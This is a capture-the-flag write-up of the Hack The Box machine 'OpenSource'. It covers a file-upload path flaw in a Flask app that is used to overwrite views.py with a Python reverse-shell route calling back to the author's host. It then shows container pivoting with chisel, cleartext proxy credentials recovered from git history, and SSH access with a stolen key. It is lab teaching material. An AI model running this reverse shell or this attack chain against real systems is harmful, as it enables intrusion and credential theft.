Welcome back to yet another BOX, complicated in the search for the root flag, but very funny, in which many clues lead to as many possible exploits. I may not have guessed the conventional solution, but let's move on.
The nmap scan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-10 21:55 CEST
Nmap scan report for 10.10.11.164
Host is up (0.058s latency).
Not shown: 971 closed tcp ports (conn-refused), 27 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Fri, 10 Jun 2022 19:55:44 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Fri, 10 Jun 2022 19:55:44 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=6/10%Time=62A3A1C0%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P
SF:ython/3\.10\.3\r\nDate:\x20Fri,\x2010\x20Jun\x202022\x2019:55:44\x20GMT
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20
SF:5316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20
SF:\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=
SF:\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\
SF:n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!
SF:</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jque
SF:ry-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stat
SF:ic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script
SF:\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\
SF:x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround
SF:\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href
SF:=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boo
SF:tstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20
SF:\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\
SF:nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Fri,\x2010\
SF:x20Jun\x202022\x2019:55:44\x20GMT\r\nContent-Type:\x20text/html;\x20cha
SF:rset=utf-8\r\nAllow:\x20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length:\x20
SF:0\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTM
SF:L\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x
SF:20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equ
SF:iv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x2
SF:0</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>E
SF:rror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code
SF::\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20req
SF:uest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20
SF:Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20
SF:\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.89 seconds
Let's surf the web immediately, we know that with only two ports open we can't do anything else.
From the download link, it is actually possible to download a file containing the portal sources, while another link takes us to a form in which it is possible to upload a file.
In the sources, there is the .git folder which identifies a possible local repository. I will forget about it for a while and this will be a serious mistake, but in the end, I will get back on my axes and arrive at a partial solution.
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/source]
└─$ ls -la
total 28
drwxr-xr-x 5 in7rud3r in7rud3r 4096 Jun 10 22:20 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Jun 10 22:20 ..
drwxr-xr-x 5 in7rud3r in7rud3r 4096 Apr 28 13:45 app
-rwxr-xr-x 1 in7rud3r in7rud3r 110 Apr 28 13:40 build-docker.sh
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Apr 28 13:34 config
-rw-r--r-- 1 in7rud3r in7rud3r 574 Apr 28 14:50 Dockerfile
drwxr-xr-x 8 in7rud3r in7rud3r 4096 Apr 28 14:50 .git
I also notice a Dockerfile, which could tell me the technologies used within the portal. Apparently, we are facing a python portal that uses Flask.
FROM python:3-alpine
[...]
RUN pip install Flask
[...]
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
We take a look at the configuration file and find that the user the app runs under inside the container is the root user, while the started code is in the /app/run.py file.
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:flask]
command=python /app/run.py
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
It is then the turn of the run.py file, but there is little to say here.
import os
from app import app
if __name__ == "__main__":
port = int(os.environ.get("PORT", 80))
app.run(host='0.0.0.0', port=port)
Something is revealed when we take a look at the structure of the source files.
In the __init__.py file we find the import of the Flask package and the file views.py.
import os
from flask import Flask
app = Flask(__name__)
if os.environ.get('MODE') == 'PRODUCTION':
app.config.from_object('app.configuration.ProductionConfig')
else:
app.config.from_object('app.configuration.DevelopmentConfig')
from app import views
It is the turn of the views.py file and finally, we find the first interesting code, in which the portal routings are implemented.
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
We do not leave behind the helper functions file, in which we find a security check to prevent a possible traversal path attack.
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
I still try some attacks, trying to bypass the security check put in by the developers, but without success.
However, I think we could still work on it and perhaps, by insisting a little, I could have come to something, but I preferred to go on looking for other ways.
The attack that I tried to carry out, however, was based on the routing of the download, protected by the code that prevents the traversal path. But studying the upload code, I understand that I could use the file name to reach and even overwrite existing files (of which I obviously know the location).
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/py]
└─$ python3 1 ⨯
Python 3.9.12 (main, Mar 24 2022, 13:02:21)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os;
>>> os.path.join(os.getcwd(), "public", "uploads", 'filename.txt')
'/home/in7rud3r/Dropbox/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/dwnl/py/public/uploads/filename.txt'
>>> os.path.join(os.getcwd(), "public", "uploads", '/filename.txt')
'/filename.txt'
So I take the views file and add a nice routing that will spawn a reverse shell straight on my machine.
import socket,os,pty,app;
[...]
@app.route('/hack', methods=['GET'])
def reverse_shell():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.193",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")'
At this point, I have to upload by overwriting the file name with the absolute path of the original views.py file. I could edit the field in the form via the browser's developer toolbar, but why so much work when BurpSuite can do it easier?
Launch BurpSuite, then, activate the proxy and open the browser (keep the intercept off for the moment, we navigate to the upload page and when we are ready to send the file, activate it).
As soon as BurpSuite starts up, change the filename field to what should be the application path (/app/app/) and the views.py file name.
Start a listener on your machine and navigate to the new URL in the BOX.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/upld/py]
└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.11.164: inverse host lookup failed: Unknown host
connect to [10.10.14.193] from (UNKNOWN) [10.10.11.164] 50322
/app # ^[[57;8Rwhoami
whoami
root
/app # ^[[59;8R
Et voilà... a reverse shell... with root permissions? mmmm... there must be something wrong... it can't be that simple... and in fact you fell for it... we are in the docker container and we are not even at the user flag yet. We have to escape from the container; let's try something.
The first attempt does not seem to be successful.
/ # ^[[59;5Rip link add dummy0 type dummy
ip link add dummy0 type dummy
ip: RTNETLINK answers: Operation not permitted
I try to understand what else is running on this docker container.
netstat -tulpn | grep LISTEN
netstat -tulpn | grep LISTEN
netstat: /proc/net/tcp6: No such file or directory
netstat: /proc/net/udp6: No such file or directory
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 6/python
Not so much stuff. Let's see if I can reach the host through the container network.
/app # ^[[59;8Rifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:06
inet addr:172.17.0.6 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3269583 errors:0 dropped:0 overruns:0 frame:0
TX packets:3300505 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:282136784 (269.0 MiB) TX bytes:535403346 (510.5 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Ok, the ethernet seems to be connected to the network with the host, check the gateway of this network which should be just the host responding to the first address in the series...
/app # ^[[59;8Rarp -i eth0 -a
arp -i eth0 -a
? (172.17.0.1) at 02:42:59:d0:0c:b4 [ether] on eth0
It should... now we have to do an nmap scan, too bad we don't have the command, we will have to proceed manually.
/app # ^[[59;8Rfor i in $(seq 1 65535); do nc -nvz -w 1 172.17.0.1 $i 2>&1; done | grep -v "refused"
for i in $(seq 1 65535); do nc -nvz -w 1 172.17.0.1 $i 2>&1; done | grep
-v "refused"
172.17.0.1 (172.17.0.1:22) open
172.17.0.1 (172.17.0.1:80) open
172.17.0.1 (172.17.0.1:3000) open
172.17.0.1 (172.17.0.1:6000) open
172.17.0.1 (172.17.0.1:6001) open
172.17.0.1 (172.17.0.1:6002) open
172.17.0.1 (172.17.0.1:6003) open
172.17.0.1 (172.17.0.1:6004) open
172.17.0.1 (172.17.0.1:6005) open
172.17.0.1 (172.17.0.1:6006) open
172.17.0.1 (172.17.0.1:6007) open
Woo, how many ports. The first two are to be excluded, we already know them, the series from 6000 to 6007 does not convince me very much, I decided to leave it for later, but on the 3000, there could be something interesting.
The curl doesn't do it justice, so I have to find a way to get to that address with a browser... port forwarding would be needed... there is no ssh command, but netcat is available... this BOX is getting stranger and stranger. However, even if it wasn't there, we would always have been able to dump it from our machine.
/app # ^[[59;8Rnc -L 127.17.0.1:3000 -p 9000 -vvv
nc -L 127.17.0.1:3000 -p 9000 -vvv
nc: unrecognized option: L
BusyBox v1.34.1 (2022-02-02 18:21:20 UTC) multi-call binary.
Usage: nc [OPTIONS] HOST PORT - connect
nc [OPTIONS] -l -p PORT [HOST] [PORT] - listen
-e PROG Run PROG after connect (must be last)
-l Listen mode, for inbound connects
-lk With -e, provides persistent server
-p PORT Local port
-s ADDR Local address
-w SEC Timeout for connects and final net reads
-i SEC Delay interval for lines sent
-n Don't do DNS resolution
-u UDP mode
-b Allow broadcasts
-v Verbose
-o FILE Hex dump traffic
-z Zero-I/O mode (scanning)
Strange version of netcat, however, I have been hearing about another tunnelling tool for a while now and I think it might be the right time to try it, the name of the tool is chisel.
Ok, let's download it on my machine.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_386.gz
--2022-06-26 12:00:18-- https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_386.gz
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/31311037/04ebcc93-0e09-40e0-a6b9-8c32e10e1981?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20220626%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220626T094343Z&X-Amz-Expires=300&X-Amz-Signature=d5743c8b06945c30d1959727038f79792b6e89b0fddff37133a7d4c2621cedab&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=31311037&response-content-disposition=attachment%3B%20filename%3Dchisel_1.7.7_linux_386.gz&response-content-type=application%2Foctet-stream [following]
--2022-06-26 12:00:18-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/31311037/04ebcc93-0e09-40e0-a6b9-8c32e10e1981?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20220626%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220626T094343Z&X-Amz-Expires=300&X-Amz-Signature=d5743c8b06945c30d1959727038f79792b6e89b0fddff37133a7d4c2621cedab&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=31311037&response-content-disposition=attachment%3B%20filename%3Dchisel_1.7.7_linux_386.gz&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3012708 (2.9M) [application/octet-stream]
Saving to: ‘chisel_1.7.7_linux_386.gz’
chisel_1.7.7_linux_386.gz 100%[=============================================>] 2.87M 2.78MB/s in 1.0s
2022-06-26 12:00:20 (2.78 MB/s) - ‘chisel_1.7.7_linux_386.gz’ saved [3012708/3012708]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ gzip -d chisel_1.7.7_linux_386.gz
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ mv chisel_1.7.7_linux_386 chisel
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ chmod +x chisel
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ ./chisel --version 127 ⨯
1.7.7
Well, to upload the program on the BOX, launch a native web server on your machine (with PHP for example) and call the URL from the BOX with the wget command. When chisel is on the BOX proceed as follows. On the BOX...
/app/public/uploads # ^[[59;23R./chisel server --port 9001 --proxy http://localhost:3000
./chisel server --port 9001 --proxy http://localhost:3000
2022/06/26 09:56:14 server: Fingerprint SYIeCKkmh02AsU6/7KiZgK3tpculoNIlezAzjY/RTyY=
2022/06/26 09:56:14 server: Reverse proxy enabled
2022/06/26 09:56:14 server: Listening on http://0.0.0.0:9001
...on your machine...
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ ./chisel client http://10.10.11.164 9001
2022/06/26 12:17:25 client: Connecting to ws://10.10.11.164:80
2022/06/26 12:17:25 client: tun: proxy#9001=>9001: Listening
2022/06/26 12:17:25 client: Connection error: websocket: bad handshake
2022/06/26 12:17:25 client: Retrying in 100ms...
No, completely wrong, try to revert the logic. On your machine...
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ ./chisel server -p 9000 --reverse
2022/06/26 12:31:38 server: Reverse tunnelling enabled
2022/06/26 12:31:38 server: Fingerprint 0R0oDwpeMPrS9BvyI+sMiPZJdZhzmgua639akr6A64I=
2022/06/26 12:31:38 server: Listening on http://0.0.0.0:9000
...and on the BOX...
/app/public/uploads # ^[[59;23R./chisel client 10.10.14.60:9000 R:3000:127.0.0.1:3000
./chisel client 10.10.14.60:9000 R:3000:127.0.0.1:3000
2022/06/26 10:17:09 client: Connecting to ws://10.10.14.60:9000
2022/06/26 10:17:10 client: Connected (Latency 43.75366ms)
My machine seems to answer in the right way...
2022/06/26 12:33:45 server: session#1: tun: proxy#R:3000=>3000: Listening
...but there's something wrong again...
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ curl http://localhost:9000 -v
* Trying 127.0.0.1:9000...
* Connected to localhost (127.0.0.1) port 9000 (#0)
> GET / HTTP/1.1
> Host: localhost:9000
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Sun, 26 Jun 2022 10:36:17 GMT
< Content-Length: 9
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host localhost left intact
Not found
I look at the whole process again and... my God... I'm really stupid... I'm trying to reach the localhost of the docker container... I have to replace 127.0.0.1 with the address of the host in the docker network, that is 172.17.0.1, let's start over and see if this time it works.
A little digression. A lot of time is wasted on these stupid mistakes and having to repeat things over and over takes away a myriad of time that I could have spent in other ways, perhaps in other exploits and tools. Many of you may also notice a lot of nonsense evidence, and I see you standing there pointing at me or laughing under your breath at my mistakes, but I hope you have fun anyway and if you are here reading these articles, it's probably so.
So, again, on the BOX...
/app/public/uploads # ^[[59;23R./chisel client 10.10.14.60:9000 R:3000:172.17.0.1:3000
./chisel client 10.10.14.60:9000 R:3000:172.17.0.1:3000
2022/06/26 10:30:24 client: Connecting to ws://10.10.14.60:9000
2022/06/26 10:30:24 client: Connected (Latency 42.817984ms)
...and on my machine...
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/upld]
└─$ ./chisel server -p 9000 --reverse
2022/06/26 12:45:49 server: Reverse tunnelling enabled
2022/06/26 12:45:49 server: Fingerprint 6pLGtK48bCzbyUuVub+OxHxTCElls+6he/Z5S4BiOdU=
2022/06/26 12:45:49 server: Listening on http://0.0.0.0:9000
2022/06/26 12:47:00 server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening
I want to share a link that was very useful to me to understand how the chisel tool works, deepen if you can.
Well, finally I reach the portal on port 3000 of the host.
A git server? Oh my God, I completely forgot the git repository of the source files. Before to back to the repo, I register a new account on the server, but I can't see any project. So, taken by curiosity, I immediately returned to the local source repository.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/source]
└─$ git status
On branch public
nothing to commit, working tree clean
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/source]
└─$ git branch
dev
* public
Two different branches, let's try to understand what's the difference in the code.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/source]
└─$ git diff public..dev
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e50a290
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,26 @@
+.DS_Store
+.env
+.flaskenv
+*.pyc
+*.pyo
+env/
+venv/
+.venv/
+env*
+dist/
+build/
+*.egg
+*.egg-info/
+_mailinglist
+.tox/
+.cache/
+.pytest_cache/
+.idea/
+docs/_build/
+.vscode
+
+# Coverage reports
+htmlcov/
+.coverage
+.coverage.*
+*,cover
diff --git a/Dockerfile b/Dockerfile
index 5b0553c..0875eda 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,6 +29,7 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
+ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
diff --git a/app/app/views.py b/app/app/views.py
index f2744c6..0f3cc37 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,7 +6,17 @@ from flask import render_template, request, send_file
from app import app
[email protected]('/', methods=['GET', 'POST'])
[email protected]('/')
+def index():
+ return render_template('index.html')
+
+
[email protected]('/download')
+def download():
+ return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
+
+
[email protected]('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
@@ -20,4 +30,4 @@ def upload_file():
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
- return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
+ return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
There doesn't seem to be much use, let's see the logs in detail.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/source]
└─$ git log dev --raw
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
:100644 100644 76c7768 0875eda M Dockerfile
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
:000000 100644 0000000 e50a290 A .gitignore
:100644 000000 5975e3f 0000000 D app/.vscode/settings.json
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
:000000 100644 0000000 5975e3f A app/.vscode/settings.json
:100644 100644 f2744c6 0f3cc37 M app/app/views.py
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
:000000 100644 0000000 76c7768 A Dockerfile
:000000 100644 0000000 e69de29 A app/INSTALL.md
:000000 100644 0000000 5c2ecc0 A app/app/__init__.py
:000000 100644 0000000 877f291 A app/app/configuration.py
:000000 100644 0000000 91e52af A app/app/static/css/style.css
:000000 100644 0000000 b335ef9 A app/app/static/js/ie10-viewport-bug-workaround.js
:000000 100644 0000000 401c744 A app/app/static/js/script.js
:000000 100644 0000000 259a9e2 A app/app/static/vendor/bootstrap/css/bootstrap-grid.css
:000000 100644 0000000 8661e3e A app/app/static/vendor/bootstrap/css/bootstrap-grid.css.map
:000000 100644 0000000 6533f31 A app/app/static/vendor/bootstrap/css/bootstrap-grid.min.css
:000000 100644 0000000 1b393db A app/app/static/vendor/bootstrap/css/bootstrap-grid.min.css.map
[...]
It seems that a settings file has been deleted, but I have not seen the differences. Let's investigate.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/dwnl/source]
└─$ git show a76f8f75f7a4a12b706b0cf9c983796fa1985820 -- app/.vscode/settings.json
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
+ "http.proxyStrictSSL": false
+}
Here we are ... a nice set of credentials, a user and a password in clear text. Let's go back to the git portal and try to log in.
The name home_backup does not bring anything good... at least for the user who has well thought of backing up his home folder on this repository. Obviously inside we find the personal ssh key files authorized to access.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.164 - OpenSource (lin)/attack/ssh]
└─$ ssh [email protected] -i id_rsa 255 ⨯
The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.164' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jun 26 12:24:41 UTC 2022
System load: 0.08 Processes: 236
Usage of /: 76.2% of 3.48GB Users logged in: 1
Memory usage: 31% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Jun 26 11:31:20 2022 from 10.10.14.137
dev01@opensource:~$ cat user.txt
c******************************5
And it works... the first flag is pawned, let's go for the root flag. Look immediate at what we can do with sudo without password.
dev01@opensource:~$ sudo -l
[sudo] password for dev01:
Sorry, user dev01 may not run sudo on opensource.
Nothing, let go direct to the linpeas.sh script.
[...]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2018-18955] subuid_shell
